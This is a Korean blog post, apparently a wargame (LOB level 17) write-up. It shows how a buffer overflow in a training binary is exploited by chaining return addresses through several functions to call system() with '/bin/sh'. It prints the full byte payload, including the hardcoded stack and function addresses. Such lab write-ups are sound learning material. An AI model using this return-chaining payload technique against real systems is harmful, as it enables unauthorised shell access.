level 17

2020. 9. 10. 06:07

 

어우.. 기네요.

사실 별거없는 문제입니다.

'MO'라는 사용자정의 함수에 system 함수가 존재하기 때문에 RET을 연계해 "/bin/sh"라는 문자열만 전달하면 됩니다.

 

payload로 넣어야할 값을 간단하게 적어보겠습니다.

"A"*44 | addr 'DO' | addr 'GYE' | addr 'GUL' | addr 'GUL' | addr 'YUT' | addr 'MO' | dummy(4) | &"/bin/sh" | "/bin/sh"

 

이제 필요한 재료들을 모아보겠습니다.

 

 

각각의 주소가 나와있네요.

참고로 "/bin/sh"의 주소는 40으로 시작하기에 초기화되어있습니다.

따라서 "/bin/sh" 문자열을 직접 payload에 입력해 저장되는 주소를 인자로 주겠습니다.

 

 

.c 확장자 소스파일을 복사해 저 부분을 없앤 뒤 저장합니다.

왜인지 모르게 위에서 알아낸 주소가 사본에서는 통하지 않더군요.

단지 "/bin/sh"의 주소를 알아내기 위한 것이니 괜찮습니다.

 

 

0xbffffa98이 "/bin/sh"의 시작주소네요.

 

이제 원본 파일에 바로 사용하기위해 payload를 작성하겠습니다.

"A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x98\xfa\xff\xbf" + "/bin/sh"

 

 

성공!

마치 RET Sled 같네요.

'[▒] 보안 > LOB' 카테고리의 다른 글

level 19  (0) 2020.09.10
level 18  (0) 2020.09.10
level 16  (0) 2020.09.09
level 15  (0) 2020.09.08
level 14  (0) 2020.09.08

BELATED ARTICLES

more